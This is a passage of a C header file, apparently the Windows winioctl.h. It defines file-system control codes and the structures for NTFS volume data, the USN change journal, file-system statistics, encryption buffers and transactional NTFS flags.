CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 143, METHOD_BUFFERED, FILE_ANY_ACCESS)  // FILE_FS_PERSISTENT_VOLUME_INFORMATION\r\n\r\n#define FSCTL_REQUEST_OPLOCK                CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 144, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n\r\n#define FSCTL_CSV_TUNNEL_REQUEST            CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 145, METHOD_BUFFERED, FILE_ANY_ACCESS) // CSV_TUNNEL_REQUEST\r\n#define FSCTL_IS_CSV_FILE                   CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 146, METHOD_BUFFERED, FILE_ANY_ACCESS) // IS_CSV_FILE\r\n\r\n#define FSCTL_QUERY_FILE_SYSTEM_RECOGNITION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 147, METHOD_BUFFERED, FILE_ANY_ACCESS) // \r\n#define FSCTL_CSV_GET_VOLUME_PATH_NAME      CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 148, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_CSV_GET_VOLUME_NAME_FOR_VOLUME_MOUNT_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 149, METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_CSV_GET_VOLUME_PATH_NAMES_FOR_VOLUME_NAME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 150,  METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n#define FSCTL_IS_FILE_ON_CSV_VOLUME         CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 151,  METHOD_BUFFERED, FILE_ANY_ACCESS)\r\n\r\n#endif /* _WIN32_WINNT >= 0x0601 */\r\n\r\n#define FSCTL_MARK_AS_SYSTEM_HIVE           FSCTL_SET_BOOTLOADER_ACCESSED\r\n\r\n\r\n#if(_WIN32_WINNT >= 0x0601)\r\n\r\ntypedef struct _CSV_NAMESPACE_INFO {\r\n\r\n    ULONG         Version;\r\n    ULONG         DeviceNumber;\r\n    LARGE_INTEGER StartingOffset;\r\n    ULONG         SectorSize;\r\n\r\n} CSV_NAMESPACE_INFO, *PCSV_NAMESPACE_INFO;\r\n\r\n#define CSV_NAMESPACE_INFO_V1 (sizeof(CSV_NAMESPACE_INFO))\r\n#define CSV_INVALID_DEVICE_NUMBER 0xFFFFFFFF\r\n\r\n#endif /* _WIN32_WINNT >= 0x0601 */\r\n\r\ntypedef struct _PATHNAME_BUFFER {\r\n\r\n    ULONG PathNameLength;\r\n    WCHAR Name[1];\r\n\r\n} PATHNAME_BUFFER, *PPATHNAME_BUFFER;\r\n\r\ntypedef struct _FSCTL_QUERY_FAT_BPB_BUFFER {\r\n\r\n    UCHAR First0x24BytesOfBootSector[0x24];\r\n\r\n} FSCTL_QUERY_FAT_BPB_BUFFER, *PFSCTL_QUERY_FAT_BPB_BUFFER;\r\n\r\n#if (_WIN32_WINNT >= 0x0400)\r\n\r\ntypedef struct {\r\n\r\n    LARGE_INTEGER VolumeSerialNumber;\r\n    LARGE_INTEGER NumberSectors;\r\n    LARGE_INTEGER TotalClusters;\r\n    LARGE_INTEGER FreeClusters;\r\n    LARGE_INTEGER TotalReserved;\r\n    ULONG BytesPerSector;\r\n    ULONG BytesPerCluster;\r\n    ULONG BytesPerFileRecordSegment;\r\n    ULONG ClustersPerFileRecordSegment;\r\n    LARGE_INTEGER MftValidDataLength;\r\n    LARGE_INTEGER MftStartLcn;\r\n    LARGE_INTEGER Mft2StartLcn;\r\n    LARGE_INTEGER MftZoneStart;\r\n    LARGE_INTEGER MftZoneEnd;\r\n\r\n} NTFS_VOLUME_DATA_BUFFER, *PNTFS_VOLUME_DATA_BUFFER;\r\n\r\ntypedef struct {\r\n\r\n    ULONG ByteCount;\r\n\r\n    USHORT MajorVersion;\r\n    USHORT MinorVersion;\r\n\r\n} NTFS_EXTENDED_VOLUME_DATA, *PNTFS_EXTENDED_VOLUME_DATA;\r\n#endif /* _WIN32_WINNT >= 0x0400 */\r\n\r\n#if (_WIN32_WINNT >= 0x0400)\r\n\r\ntypedef struct {\r\n\r\n    LARGE_INTEGER StartingLcn;\r\n\r\n} STARTING_LCN_INPUT_BUFFER, *PSTARTING_LCN_INPUT_BUFFER;\r\n\r\ntypedef struct {\r\n\r\n    LARGE_INTEGER StartingLcn;\r\n    LARGE_INTEGER BitmapSize;\r\n    UCHAR Buffer[1];\r\n\r\n} VOLUME_BITMAP_BUFFER, *PVOLUME_BITMAP_BUFFER;\r\n#endif /* _WIN32_WINNT >= 0x0400 */\r\n\r\n#if (_WIN32_WINNT >= 0x0400)\r\n\r\ntypedef struct {\r\n\r\n    LARGE_INTEGER StartingVcn;\r\n\r\n} STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER;\r\n\r\ntypedef struct RETRIEVAL_POINTERS_BUFFER {\r\n\r\n    ULONG ExtentCount;\r\n    LARGE_INTEGER StartingVcn;\r\n    struct {\r\n        LARGE_INTEGER NextVcn;\r\n        LARGE_INTEGER Lcn;\r\n    } Extents[1];\r\n\r\n} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;\r\n#endif /* _WIN32_WINNT >= 0x0400 */\r\n\r\n#if (_WIN32_WINNT >= 0x0400)\r\n\r\ntypedef struct {\r\n\r\n    LARGE_INTEGER FileReferenceNumber;\r\n\r\n} NTFS_FILE_RECORD_INPUT_BUFFER, *PNTFS_FILE_RECORD_INPUT_BUFFER;\r\n\r\ntypedef struct {\r\n\r\n    LARGE_INTEGER FileReferenceNumber;\r\n    ULONG FileRecordLength;\r\n    UCHAR FileRecordBuffer[1];\r\n\r\n} NTFS_FILE_RECORD_OUTPUT_BUFFER, *PNTFS_FILE_RECORD_OUTPUT_BUFFER;\r\n#endif /* _WIN32_WINNT >= 0x0400 */\r\n\r\n#if (_WIN32_WINNT >= 0x0400)\r\n\r\ntypedef struct {\r\n\r\n    HANDLE FileHandle;\r\n    LARGE_INTEGER StartingVcn;\r\n    LARGE_INTEGER StartingLcn;\r\n    ULONG ClusterCount;\r\n\r\n} MOVE_FILE_DATA, *PMOVE_FILE_DATA;\r\n\r\ntypedef struct {\r\n\r\n    HANDLE FileHandle;\r\n    LARGE_INTEGER SourceFileRecord;\r\n    LARGE_INTEGER TargetFileRecord;\r\n\r\n} MOVE_FILE_RECORD_DATA, *PMOVE_FILE_RECORD_DATA;\r\n\r\n\r\n#if defined(_WIN64)\r\n\r\ntypedef struct _MOVE_FILE_DATA32 {\r\n\r\n    UINT32 FileHandle;\r\n    LARGE_INTEGER StartingVcn;\r\n    LARGE_INTEGER StartingLcn;\r\n    ULONG ClusterCount;\r\n\r\n} MOVE_FILE_DATA32, *PMOVE_FILE_DATA32;\r\n#endif\r\n#endif /* _WIN32_WINNT >= 0x0400 */\r\n\r\n#if (_WIN32_WINNT >= 0x0500)\r\n\r\ntypedef struct {\r\n    ULONG Restart;\r\n    SID Sid;\r\n} FIND_BY_SID_DATA, *PFIND_BY_SID_DATA;\r\n\r\ntypedef struct {\r\n    ULONG NextEntryOffset;\r\n    ULONG FileIndex;\r\n    ULONG FileNameLength;\r\n    WCHAR FileName[1];\r\n} FIND_BY_SID_OUTPUT, *PFIND_BY_SID_OUTPUT;\r\n\r\n#endif /* _WIN32_WINNT >= 0x0500 */\r\n\r\n#if (_WIN32_WINNT >= 0x0500)\r\n\r\ntypedef struct {\r\n\r\n    ULONGLONG StartFileReferenceNumber;\r\n    USN LowUsn;\r\n    USN HighUsn;\r\n\r\n} MFT_ENUM_DATA, *PMFT_ENUM_DATA;\r\n\r\ntypedef struct {\r\n\r\n    ULONGLONG MaximumSize;\r\n    ULONGLONG AllocationDelta;\r\n\r\n} CREATE_USN_JOURNAL_DATA, *PCREATE_USN_JOURNAL_DATA;\r\n\r\ntypedef struct {\r\n\r\n    USN StartUsn;\r\n    ULONG ReasonMask;\r\n    ULONG ReturnOnlyOnClose;\r\n    ULONGLONG Timeout;\r\n    ULONGLONG BytesToWaitFor;\r\n    ULONGLONG UsnJournalID;\r\n\r\n} READ_USN_JOURNAL_DATA, *PREAD_USN_JOURNAL_DATA;\r\n\r\ntypedef struct {\r\n\r\n    ULONG RecordLength;\r\n    USHORT MajorVersion;\r\n    USHORT MinorVersion;\r\n    ULONGLONG FileReferenceNumber;\r\n    ULONGLONG ParentFileReferenceNumber;\r\n    USN Usn;\r\n    LARGE_INTEGER TimeStamp;\r\n    ULONG Reason;\r\n    ULONG SourceInfo;\r\n    ULONG SecurityId;\r\n    ULONG FileAttributes;\r\n    USHORT FileNameLength;\r\n    USHORT FileNameOffset;\r\n    WCHAR FileName[1];\r\n\r\n} USN_RECORD, *PUSN_RECORD;\r\n\r\n#define USN_PAGE_SIZE                    (0x1000)\r\n\r\n#define USN_REASON_DATA_OVERWRITE        (0x00000001)\r\n#define USN_REASON_DATA_EXTEND           (0x00000002)\r\n#define USN_REASON_DATA_TRUNCATION       (0x00000004)\r\n#define USN_REASON_NAMED_DATA_OVERWRITE  (0x00000010)\r\n#define USN_REASON_NAMED_DATA_EXTEND     (0x00000020)\r\n#define USN_REASON_NAMED_DATA_TRUNCATION (0x00000040)\r\n#define USN_REASON_FILE_CREATE           (0x00000100)\r\n#define USN_REASON_FILE_DELETE           (0x00000200)\r\n#define USN_REASON_EA_CHANGE             (0x00000400)\r\n#define USN_REASON_SECURITY_CHANGE       (0x00000800)\r\n#define USN_REASON_RENAME_OLD_NAME       (0x00001000)\r\n#define USN_REASON_RENAME_NEW_NAME       (0x00002000)\r\n#define USN_REASON_INDEXABLE_CHANGE      (0x00004000)\r\n#define USN_REASON_BASIC_INFO_CHANGE     (0x00008000)\r\n#define USN_REASON_HARD_LINK_CHANGE      (0x00010000)\r\n#define USN_REASON_COMPRESSION_CHANGE    (0x00020000)\r\n#define USN_REASON_ENCRYPTION_CHANGE     (0x00040000)\r\n#define USN_REASON_OBJECT_ID_CHANGE      (0x00080000)\r\n#define USN_REASON_REPARSE_POINT_CHANGE  (0x00100000)\r\n#define USN_REASON_STREAM_CHANGE         (0x00200000)\r\n#define USN_REASON_TRANSACTED_CHANGE     (0x00400000)\r\n#define USN_REASON_CLOSE                 (0x80000000)\r\n\r\ntypedef struct {\r\n\r\n    ULONGLONG UsnJournalID;\r\n    USN FirstUsn;\r\n    USN NextUsn;\r\n    USN LowestValidUsn;\r\n    USN MaxUsn;\r\n    ULONGLONG MaximumSize;\r\n    ULONGLONG AllocationDelta;\r\n\r\n} USN_JOURNAL_DATA, *PUSN_JOURNAL_DATA;\r\n\r\ntypedef struct {\r\n\r\n    ULONGLONG UsnJournalID;\r\n    ULONG DeleteFlags;\r\n\r\n} DELETE_USN_JOURNAL_DATA, *PDELETE_USN_JOURNAL_DATA;\r\n\r\n#define USN_DELETE_FLAG_DELETE              (0x00000001)\r\n#define USN_DELETE_FLAG_NOTIFY              (0x00000002)\r\n\r\n#define USN_DELETE_VALID_FLAGS              (0x00000003)\r\n\r\ntypedef struct {\r\n\r\n    ULONG UsnSourceInfo;\r\n    HANDLE VolumeHandle;\r\n    ULONG HandleInfo;\r\n\r\n} MARK_HANDLE_INFO, *PMARK_HANDLE_INFO;\r\n\r\n#if defined(_WIN64)\r\n\r\ntypedef struct {\r\n\r\n    ULONG UsnSourceInfo;\r\n    UINT32 VolumeHandle;\r\n    ULONG HandleInfo;\r\n\r\n} MARK_HANDLE_INFO32, *PMARK_HANDLE_INFO32;\r\n#endif\r\n\r\n#define USN_SOURCE_DATA_MANAGEMENT          (0x00000001)\r\n#define USN_SOURCE_AUXILIARY_DATA           (0x00000002)\r\n#define USN_SOURCE_REPLICATION_MANAGEMENT   (0x00000004)\r\n\r\n#define MARK_HANDLE_PROTECT_CLUSTERS        (0x00000001)\r\n#define MARK_HANDLE_TXF_SYSTEM_LOG          (0x00000004)\r\n#define MARK_HANDLE_NOT_TXF_SYSTEM_LOG      (0x00000008)\r\n\r\n#endif /* _WIN32_WINNT >= 0x0500 */\r\n\r\n#if (_WIN32_WINNT >= 0x0601)\r\n\r\n#define MARK_HANDLE_REALTIME                (0x00000020)\r\n#define MARK_HANDLE_NOT_REALTIME            (0x00000040)\r\n\r\n#define NO_8DOT3_NAME_PRESENT               (0x00000001)\r\n#define REMOVED_8DOT3_NAME                  (0x00000002)\r\n\r\n#define PERSISTENT_VOLUME_STATE_SHORT_NAME_CREATION_DISABLED        (0x00000001)\r\n\r\n#endif /* _WIN32_WINNT >= 0x0601 */\r\n\r\n\r\n#if (_WIN32_WINNT >= 0x0500)\r\ntypedef struct {\r\n\r\n    ACCESS_MASK DesiredAccess;\r\n    ULONG SecurityIds[1];\r\n\r\n} BULK_SECURITY_TEST_DATA, *PBULK_SECURITY_TEST_DATA;\r\n#endif /* _WIN32_WINNT >= 0x0500 */\r\n\r\n#if (_WIN32_WINNT >= 0x0500)\r\n\r\n#define VOLUME_IS_DIRTY                  (0x00000001)\r\n#define VOLUME_UPGRADE_SCHEDULED         (0x00000002)\r\n#define VOLUME_SESSION_OPEN              (0x00000004)\r\n#endif /* _WIN32_WINNT >= 0x0500 */\r\n\r\n#if (_WIN32_WINNT >= 0x0500)\r\n\r\ntypedef struct _FILE_PREFETCH {\r\n    ULONG Type;\r\n    ULONG Count;\r\n    ULONGLONG Prefetch[1];\r\n} FILE_PREFETCH, *PFILE_PREFETCH;\r\n\r\ntypedef struct _FILE_PREFETCH_EX {\r\n    ULONG Type;\r\n    ULONG Count;\r\n    PVOID Context;\r\n    ULONGLONG Prefetch[1];\r\n} FILE_PREFETCH_EX, *PFILE_PREFETCH_EX;\r\n\r\n#define FILE_PREFETCH_TYPE_FOR_CREATE       0x1\r\n#define FILE_PREFETCH_TYPE_FOR_DIRENUM      0x2\r\n#define FILE_PREFETCH_TYPE_FOR_CREATE_EX    0x3\r\n#define FILE_PREFETCH_TYPE_FOR_DIRENUM_EX   0x4\r\n\r\n#define FILE_PREFETCH_TYPE_MAX              0x4\r\n\r\n#endif /* _WIN32_WINNT >= 0x0500 */\r\n\r\ntypedef struct _FILESYSTEM_STATISTICS {\r\n\r\n    USHORT FileSystemType;\r\n    USHORT Version;                     // currently version 1\r\n\r\n    ULONG SizeOfCompleteStructure;      // must by a multiple of 64 bytes\r\n\r\n    ULONG UserFileReads;\r\n    ULONG UserFileReadBytes;\r\n    ULONG UserDiskReads;\r\n    ULONG UserFileWrites;\r\n    ULONG UserFileWriteBytes;\r\n    ULONG UserDiskWrites;\r\n\r\n    ULONG MetaDataReads;\r\n    ULONG MetaDataReadBytes;\r\n    ULONG MetaDataDiskReads;\r\n    ULONG MetaDataWrites;\r\n    ULONG MetaDataWriteBytes;\r\n    ULONG MetaDataDiskWrites;\r\n} FILESYSTEM_STATISTICS, *PFILESYSTEM_STATISTICS;\r\n\r\n// values for FS_STATISTICS.FileSystemType\r\n\r\n#define FILESYSTEM_STATISTICS_TYPE_NTFS     1\r\n#define FILESYSTEM_STATISTICS_TYPE_FAT      2\r\n#define FILESYSTEM_STATISTICS_TYPE_EXFAT    3\r\ntypedef struct _FAT_STATISTICS {\r\n    ULONG CreateHits;\r\n    ULONG SuccessfulCreates;\r\n    ULONG FailedCreates;\r\n\r\n    ULONG NonCachedReads;\r\n    ULONG NonCachedReadBytes;\r\n    ULONG NonCachedWrites;\r\n    ULONG NonCachedWriteBytes;\r\n\r\n    ULONG NonCachedDiskReads;\r\n    ULONG NonCachedDiskWrites;\r\n} FAT_STATISTICS, *PFAT_STATISTICS;\r\n\r\ntypedef struct _EXFAT_STATISTICS {\r\n    ULONG CreateHits;\r\n    ULONG SuccessfulCreates;\r\n    ULONG FailedCreates;\r\n\r\n    ULONG NonCachedReads;\r\n    ULONG NonCachedReadBytes;\r\n    ULONG NonCachedWrites;\r\n    ULONG NonCachedWriteBytes;\r\n\r\n    ULONG NonCachedDiskReads;\r\n    ULONG NonCachedDiskWrites;\r\n} EXFAT_STATISTICS, *PEXFAT_STATISTICS;\r\n\r\ntypedef struct _NTFS_STATISTICS {\r\n\r\n    ULONG LogFileFullExceptions;\r\n    ULONG OtherExceptions;\r\n\r\n\t\tULONG MftReads;\r\n    ULONG MftReadBytes;\r\n    ULONG MftWrites;\r\n    ULONG MftWriteBytes;\r\n    struct {\r\n        USHORT Write;\r\n        USHORT Create;\r\n        USHORT SetInfo;\r\n        USHORT Flush;\r\n    } MftWritesUserLevel;\r\n\r\n    USHORT MftWritesFlushForLogFileFull;\r\n    USHORT MftWritesLazyWriter;\r\n    USHORT MftWritesUserRequest;\r\n\r\n    ULONG Mft2Writes;\r\n    ULONG Mft2WriteBytes;\r\n    struct {\r\n        USHORT Write;\r\n        USHORT Create;\r\n        USHORT SetInfo;\r\n        USHORT Flush;\r\n    } Mft2WritesUserLevel;\r\n\r\n    USHORT Mft2WritesFlushForLogFileFull;\r\n    USHORT Mft2WritesLazyWriter;\r\n    USHORT Mft2WritesUserRequest;\r\n\r\n    ULONG RootIndexReads;\r\n    ULONG RootIndexReadBytes;\r\n    ULONG RootIndexWrites;\r\n    ULONG RootIndexWriteBytes;\r\n\r\n    ULONG BitmapReads;\r\n    ULONG BitmapReadBytes;\r\n    ULONG BitmapWrites;\r\n    ULONG BitmapWriteBytes;\r\n\r\n    USHORT BitmapWritesFlushForLogFileFull;\r\n    USHORT BitmapWritesLazyWriter;\r\n    USHORT BitmapWritesUserRequest;\r\n\r\n    struct {\r\n        USHORT Write;\r\n        USHORT Create;\r\n        USHORT SetInfo;\r\n    } BitmapWritesUserLevel;\r\n\r\n    ULONG MftBitmapReads;\r\n    ULONG MftBitmapReadBytes;\r\n    ULONG MftBitmapWrites;\r\n    ULONG MftBitmapWriteBytes;\r\n\r\n    USHORT MftBitmapWritesFlushForLogFileFull;\r\n    USHORT MftBitmapWritesLazyWriter;\r\n    USHORT MftBitmapWritesUserRequest;\r\n\r\n    struct {\r\n        USHORT Write;\r\n        USHORT Create;\r\n        USHORT SetInfo;\r\n        USHORT Flush;\r\n    } MftBitmapWritesUserLevel;\r\n\r\n    ULONG UserIndexReads;\r\n    ULONG UserIndexReadBytes;\r\n    ULONG UserIndexWrites;\r\n    ULONG UserIndexWriteBytes;\r\n    ULONG LogFileReads;\r\n    ULONG LogFileReadBytes;\r\n    ULONG LogFileWrites;\r\n    ULONG LogFileWriteBytes;\r\n\r\n    struct {\r\n        ULONG Calls;                // number of individual calls to allocate clusters\r\n        ULONG Clusters;             // number of clusters allocated\r\n        ULONG Hints;                // number of times a hint was specified\r\n\r\n        ULONG RunsReturned;         // number of runs used to satisfy all the requests\r\n\r\n        ULONG HintsHonored;         // number of times the hint was useful\r\n        ULONG HintsClusters;        // number of clusters allocated via the hint\r\n        ULONG Cache;                // number of times the cache was useful other than the hint\r\n        ULONG CacheClusters;        // number of clusters allocated via the cache other than the hint\r\n        ULONG CacheMiss;            // number of times the cache wasn't useful\r\n        ULONG CacheMissClusters;    // number of clusters allocated without the cache\r\n    } Allocate;\r\n\r\n} NTFS_STATISTICS, *PNTFS_STATISTICS;\r\n\r\n#if (_WIN32_WINNT >= 0x0500)\r\n\r\n#if _MSC_VER >= 1200\r\n#pragma warning(push)\r\n#endif\r\n#pragma warning(disable:4201)       // unnamed struct\r\n\r\ntypedef struct _FILE_OBJECTID_BUFFER {\r\n\r\n    UCHAR ObjectId[16];\r\n\r\n    union {\r\n        struct {\r\n            UCHAR BirthVolumeId[16];\r\n            UCHAR BirthObjectId[16];\r\n            UCHAR DomainId[16];\r\n        } DUMMYSTRUCTNAME;\r\n        UCHAR ExtendedInfo[48];\r\n    } DUMMYUNIONNAME;\r\n\r\n} FILE_OBJECTID_BUFFER, *PFILE_OBJECTID_BUFFER;\r\n\r\n#if _MSC_VER >= 1200\r\n#pragma warning(pop)\r\n#else\r\n#pragma warning( default : 4201 ) /* nonstandard extension used : nameless struct/union */\r\n#endif\r\n\r\n#endif /* _WIN32_WINNT >= 0x0500 */\r\n\r\n\r\n#if (_WIN32_WINNT >= 0x0500)\r\n\r\ntypedef struct _FILE_SET_SPARSE_BUFFER {\r\n    BOOLEAN SetSparse;\r\n} FILE_SET_SPARSE_BUFFER, *PFILE_SET_SPARSE_BUFFER;\r\n\r\n\r\n#endif /* _WIN32_WINNT >= 0x0500 */\r\n\r\n\r\n\r\n#if (_WIN32_WINNT >= 0x0500)\r\n\r\ntypedef struct _FILE_ZERO_DATA_INFORMATION {\r\n\r\n    LARGE_INTEGER FileOffset;\r\n    LARGE_INTEGER BeyondFinalZero;\r\n\r\n} FILE_ZERO_DATA_INFORMATION, *PFILE_ZERO_DATA_INFORMATION;\r\n#endif /* _WIN32_WINNT >= 0x0500 */\r\n\r\n#if (_WIN32_WINNT >= 0x0500)\r\n\r\ntypedef struct _FILE_ALLOCATED_RANGE_BUFFER {\r\n\r\n    LARGE_INTEGER FileOffset;\r\n    LARGE_INTEGER Length;\r\n\r\n} FILE_ALLOCATED_RANGE_BUFFER, *PFILE_ALLOCATED_RANGE_BUFFER;\r\n#endif /* _WIN32_WINNT >= 0x0500 */\r\n\r\n\r\n#if (_WIN32_WINNT >= 0x0500)\r\n\r\ntypedef struct _ENCRYPTION_BUFFER {\r\n\r\n    ULONG EncryptionOperation;\r\n    UCHAR Private[1];\r\n\r\n} ENCRYPTION_BUFFER, *PENCRYPTION_BUFFER;\r\n\r\n#define FILE_SET_ENCRYPTION         0x00000001\r\n#define FILE_CLEAR_ENCRYPTION       0x00000002\r\n#define STREAM_SET_ENCRYPTION       0x00000003\r\n#define STREAM_CLEAR_ENCRYPTION     0x00000004\r\n\r\n#define MAXIMUM_ENCRYPTION_VALUE    0x00000004\r\n\r\ntypedef struct _DECRYPTION_STATUS_BUFFER {\r\n\r\n    BOOLEAN NoEncryptedStreams;\r\n\r\n} DECRYPTION_STATUS_BUFFER, *PDECRYPTION_STATUS_BUFFER;\r\n\r\n#define ENCRYPTION_FORMAT_DEFAULT        (0x01)\r\n\r\n#define COMPRESSION_FORMAT_SPARSE        (0x4000)\r\n\r\ntypedef struct _REQUEST_RAW_ENCRYPTED_DATA {\r\n\r\n    LONGLONG FileOffset;\r\n    ULONG Length;\r\n\r\n} REQUEST_RAW_ENCRYPTED_DATA, *PREQUEST_RAW_ENCRYPTED_DATA;\r\n\r\ntypedef struct _ENCRYPTED_DATA_INFO {\r\n\r\n    ULONGLONG StartingFileOffset;\r\n\r\n    ULONG OutputBufferOffset;\r\n\r\n    ULONG BytesWithinFileSize;\r\n\r\n    ULONG BytesWithinValidDataLength;\r\n\r\n    USHORT CompressionFormat;\r\n\r\n    UCHAR DataUnitShift;\r\n    UCHAR ChunkShift;\r\n    UCHAR ClusterShift;\r\n\r\n    UCHAR EncryptionFormat;\r\n\r\n\t\tUSHORT NumberOfDataBlocks;\r\n\r\n    ULONG DataBlockSize[ANYSIZE_ARRAY];\r\n\r\n} ENCRYPTED_DATA_INFO;\r\ntypedef ENCRYPTED_DATA_INFO *PENCRYPTED_DATA_INFO;\r\n#endif /* _WIN32_WINNT >= 0x0500 */\r\n\r\n\r\n#if (_WIN32_WINNT >= 0x0500)\r\n\r\ntypedef struct _PLEX_READ_DATA_REQUEST {\r\n\r\n    LARGE_INTEGER ByteOffset;\r\n    ULONG ByteLength;\r\n    ULONG PlexNumber;\r\n\r\n} PLEX_READ_DATA_REQUEST, *PPLEX_READ_DATA_REQUEST;\r\n#endif /* _WIN32_WINNT >= 0x0500 */\r\n\r\n#if (_WIN32_WINNT >= 0x0500)\r\n\r\ntypedef struct _SI_COPYFILE {\r\n    ULONG SourceFileNameLength;\r\n    ULONG DestinationFileNameLength;\r\n    ULONG Flags;\r\n    WCHAR FileNameBuffer[1];\r\n} SI_COPYFILE, *PSI_COPYFILE;\r\n\r\n#define COPYFILE_SIS_LINK       0x0001              // Copy only if source is SIS\r\n#define COPYFILE_SIS_REPLACE    0x0002              // Replace destination if it exists, otherwise don't.\r\n#define COPYFILE_SIS_FLAGS      0x0003\r\n#endif /* _WIN32_WINNT >= 0x0500 */\r\n\r\n#if (_WIN32_WINNT >= 0x0600)\r\n\r\ntypedef struct _FILE_MAKE_COMPATIBLE_BUFFER {\r\n    BOOLEAN CloseDisc;\r\n} FILE_MAKE_COMPATIBLE_BUFFER, *PFILE_MAKE_COMPATIBLE_BUFFER;\r\n\r\n\r\ntypedef struct _FILE_SET_DEFECT_MGMT_BUFFER {\r\n    BOOLEAN Disable;\r\n} FILE_SET_DEFECT_MGMT_BUFFER, *PFILE_SET_DEFECT_MGMT_BUFFER;\r\n\r\n\r\ntypedef struct _FILE_QUERY_SPARING_BUFFER {\r\n    ULONG SparingUnitBytes;\r\n    BOOLEAN SoftwareSparing;\r\n    ULONG TotalSpareBlocks;\r\n    ULONG FreeSpareBlocks;\r\n} FILE_QUERY_SPARING_BUFFER, *PFILE_QUERY_SPARING_BUFFER;\r\n\r\n\r\ntypedef struct _FILE_QUERY_ON_DISK_VOL_INFO_BUFFER {\r\n    LARGE_INTEGER DirectoryCount;       // -1 = unknown\r\n    LARGE_INTEGER FileCount;            // -1 = unknown\r\n    USHORT FsFormatMajVersion;          // -1 = unknown or n/a\r\n    USHORT FsFormatMinVersion;          // -1 = unknown or n/a\r\n    WCHAR FsFormatName[ 12];\r\n    LARGE_INTEGER FormatTime;\r\n    LARGE_INTEGER LastUpdateTime;\r\n    WCHAR CopyrightInfo[ 34];\r\n    WCHAR AbstractInfo[ 34];\r\n    WCHAR FormattingImplementationInfo[ 34];\r\n    WCHAR LastModifyingImplementationInfo[ 34];\r\n} FILE_QUERY_ON_DISK_VOL_INFO_BUFFER, *PFILE_QUERY_ON_DISK_VOL_INFO_BUFFER;\r\n\r\n\r\n#define SET_REPAIR_ENABLED                                      (0x00000001)\r\n#define SET_REPAIR_VOLUME_BITMAP_SCAN                           (0x00000002)\r\n#define SET_REPAIR_DELETE_CROSSLINK                             (0x00000004)\r\n#define SET_REPAIR_WARN_ABOUT_DATA_LOSS                         (0x00000008)\r\n#define SET_REPAIR_DISABLED_AND_BUGCHECK_ON_CORRUPT             (0x00000010)\r\n#define SET_REPAIR_VALID_MASK                                   (0x0000001F)\r\n\r\ntypedef enum _SHRINK_VOLUME_REQUEST_TYPES\r\n{\r\n    ShrinkPrepare = 1,\r\n    ShrinkCommit,\r\n    ShrinkAbort\r\n\r\n} SHRINK_VOLUME_REQUEST_TYPES, *PSHRINK_VOLUME_REQUEST_TYPES;\r\n\r\ntypedef struct _SHRINK_VOLUME_INFORMATION\r\n{\r\n    SHRINK_VOLUME_REQUEST_TYPES ShrinkRequestType;\r\n    ULONGLONG Flags;\r\n    LONGLONG NewNumberOfSectors;\r\n\r\n} SHRINK_VOLUME_INFORMATION, *PSHRINK_VOLUME_INFORMATION;\r\n\r\n#define TXFS_RM_FLAG_LOGGING_MODE                           0x00000001\r\n#define TXFS_RM_FLAG_RENAME_RM                              0x00000002\r\n#define TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX                0x00000004\r\n#define TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN                0x00000008\r\n#define TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS    0x00000010\r\n#define TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT           0x00000020\r\n#define TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE             0x00000040\r\n#define TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX             0x00000080\r\n#define TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN             0x00000100\r\n#define TXFS_RM_FLAG_GROW_LOG                               0x00000400\r\n#define TXFS_RM_FLAG_SHRINK_LOG                             0x00000800\r\n#define TXFS_RM_FLAG_ENFORCE_MINIMUM_SIZE                   0x00001000\r\n#define TXFS_RM_FLAG_PRESERVE_CHANGES                       0x00002000\r\n#define TXFS_RM_FLAG_RESET_RM_AT_NEXT_START                 0x00004000\r\n#define TXFS_RM_FLAG_DO_NOT_RESET_RM_AT_NEXT_START          0x00008000\r\n#define TXFS_RM_FLAG_PREFER_CONSISTENCY                     0x00010000\r\n#define TXFS_RM_FLAG_PREFER_AVAILABILITY                    0x00020000\r\n\r\n#define TXFS_LOGGING_MODE_SIMPLE        (0x0001)\r\n#define TXFS_LOGGING_MODE_FULL          (0x0002)\r\n\r\n#define TXFS_TRANSACTION_STATE_NONE         0x00\r\n#define TXFS_TRANSACTION_STATE_ACTIVE       0x01\r\n#define TXFS_TRANSACTION_STATE_PREPARED     0x02\r\n#define TXFS_TRANSACTION_STATE_NOTACTIVE    0x03\r\n\r\n#define TXFS_MODIFY_RM_VALID_FLAGS                                      \\\r\n                (TXFS_RM_FLAG_LOGGING_MODE                          |   \\\r\n                 TXFS_RM_FLAG_RENAME_RM                             |   \\\r\n                 TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MAX               |   \\\r\n                 TXFS_RM_FLAG_LOG_CONTAINER_COUNT_MIN               |   \\\r\n                 TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_NUM_CONTAINERS   |   \\\r\n                 TXFS_RM_FLAG_LOG_GROWTH_INCREMENT_PERCENT          |   \\\r\n                 TXFS_RM_FLAG_LOG_AUTO_SHRINK_PERCENTAGE            |   \\\r\n                 TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MAX            |   \\\r\n                 TXFS_RM_FLAG_LOG_NO_CONTAINER_COUNT_MIN            |   \\\r\n                 TXFS_RM_FLAG_SHRINK_LOG                            |   \\\r\n                 TXFS_RM_FLAG_GROW_LOG                              |   \\\r\n                 TXFS_RM_FLAG_ENFORCE_MINIMUM_SIZE                  |   \\\r\n                 